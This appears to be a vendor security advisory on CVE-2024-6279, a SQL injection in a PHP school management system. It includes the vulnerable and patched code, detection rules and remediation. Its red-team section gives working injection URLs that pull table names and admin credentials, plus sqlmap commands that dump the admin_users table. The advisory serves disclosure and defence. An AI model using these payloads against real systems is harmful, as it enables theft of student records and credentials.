CVE-2024-6279

Executive Summary

CVE-2024-6279 is a critical unauthenticated SQL injection vulnerability discovered in the lahirudanushka School Management System versions 1.0.0 and 1.0.1. The flaw resides in the examresults-par.php file, specifically within the sid parameter. An attacker can remotely exploit this vulnerability without authentication to extract sensitive data, modify database contents, or potentially achieve remote code execution via stacked queries. A proof-of-concept exploit has been publicly disclosed, increasing the risk of widespread scanning and attacks. No official patch is available from the vendor.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – impact confined to the vulnerable component.
• Confidentiality (C): High – full database read access.
• Integrity (I): High – ability to modify or delete data.
• Availability (A): High – potential for denial of service or full system compromise.

Threat Level: Critical. Public exploit code exists, and the vulnerability is trivial to exploit.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the examresults-par.php script. The sid parameter is taken directly from user input (likely via GET or POST) and concatenated into a SQL query without proper sanitization or parameterization.

Vulnerable Code Flow:

1. The application receives a request to examresults-par.php with a sid parameter.
2. The value of sid is directly embedded into a SQL query, e.g.:

   SELECT * FROM exam_results WHERE student_id = '$sid';
   

3. An attacker can inject SQL commands by providing a malicious sid value, such as:

   1' OR '1'='1
   

   This would result in:

   SELECT * FROM exam_results WHERE student_id = '1' OR '1'='1';
   

   Returning all rows from the table.

Impact:

• Data Exfiltration: Extract all data from the database, including student records, grades, and potentially admin credentials.
• Authentication Bypass: Modify queries to bypass login mechanisms.
• Remote Code Execution (RCE): If the database user has file write permissions, an attacker could write a web shell to the server using INTO OUTFILE or INTO DUMPFILE.
• Denial of Service: Execute heavy queries or drop tables.

Vulnerable vs. Patched Code

Vulnerable Code (examresults-par.php):

<?php
$sid = $_GET['sid'];
$query = "SELECT * FROM exam_results WHERE student_id = '$sid'";
$result = mysqli_query($conn, $query);
// ... process results
?>

Patched Code (Recommended):

<?php
$sid = $_GET['sid'];
$stmt = $conn->prepare("SELECT * FROM exam_results WHERE student_id = ?");
$stmt->bind_param("s", $sid);
$stmt->execute();
$result = $stmt->get_result();
// ... process results
?>

The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running School Management System 1.0.0 or 1.0.1.
• Network access to the web application.

Manual Exploitation:

1. Basic Injection (Authentication Bypass):

   GET /examresults-par.php?sid=1' OR '1'='1
   

2. Extract Database Version:

   GET /examresults-par.php?sid=1' UNION SELECT 1,@@version,3,4,5-- -
   

3. Extract Table Names:

   GET /examresults-par.php?sid=1' UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -
   

4. Extract Admin Credentials:

   GET /examresults-par.php?sid=1' UNION SELECT 1,group_concat(username,':',password),3,4,5 FROM admin_users-- -
   

Automated Exploitation (sqlmap):

sqlmap -u "http://target.com/examresults-par.php?sid=1" --batch --dbs
sqlmap -u "http://target.com/examresults-par.php?sid=1" --batch -D school_db --tables
sqlmap -u "http://target.com/examresults-par.php?sid=1" --batch -D school_db -T admin_users --dump

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor Web Logs: Look for suspicious sid parameters containing SQL keywords (UNION, SELECT, OR, ', --).
2. Deploy WAF Rules: Block requests with sid containing SQL metacharacters.
3. Database Auditing: Enable query logging to detect anomalous SQL statements.

Honeypot Setup:

• Deploy a decoy instance of the vulnerable application to capture attacker behavior.
• Monitor for sid parameter injection attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /examresults-par.php with sid parameter containing SQL injection patterns.
• Outbound database connections from the web server to unexpected IPs (data exfiltration).
• Unusual SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File System IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified .htaccess files.
• New database dump files (e.g., dump.sql).

Log IOCs:

• Web server logs showing sid values with UNION, SELECT, OR, ', --, #.
• Database logs showing queries with INTO OUTFILE or INTO DUMPFILE.

Detection Engineering

YARA Rule

rule CVE_2024_6279_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-6279 in School Management System"
        author = "Valters IT"
        date = "2024-08-20"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6279"
    strings:
        $sid_param = "sid=" nocase
        $sql_keywords = /(UNION|SELECT|OR|AND|'|--|#|DROP|INSERT|UPDATE|DELETE)/ nocase
    condition:
        $sid_param and #sql_keywords > 2
}

Sigma Rule

title: CVE-2024-6279 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against examresults-par.php sid parameter
author: Valters IT
date: 2024/08/20
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6279
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "examresults-par.php?sid="
        cs-uri-query|re: '(UNION|SELECT|OR|AND|'|--|#|DROP|INSERT|UPDATE|DELETE)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in student IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6279 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/examresults-par.php"; http_uri; content:"sid="; http_uri; pcre:"/(UNION|SELECT|OR|AND|'|--|#|DROP|INSERT|UPDATE|DELETE)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Application: If possible, take the vulnerable system offline until a patch is applied.
2. Apply Virtual Patching: Use a Web Application Firewall (WAF) to block SQL injection patterns in the sid parameter.
3. Restrict Database Permissions: Ensure the database user used by the application has minimal privileges (no FILE, CREATE, DROP, ALTER).

Long-Term Fix:

1. Rewrite Code: Replace all dynamic SQL queries with prepared statements or parameterized queries.
2. Input Validation: Implement strict input validation for all user-supplied parameters.
3. Update Application: Monitor the vendor's website for an official patch. If none is released, consider migrating to a different school management system.

Compromise Assessment:

• Check for unauthorized database access or data exfiltration.
• Review web server logs for suspicious requests.
• Scan for web shells or backdoors in the web root.

Valters IT
Securing Digital Frontiers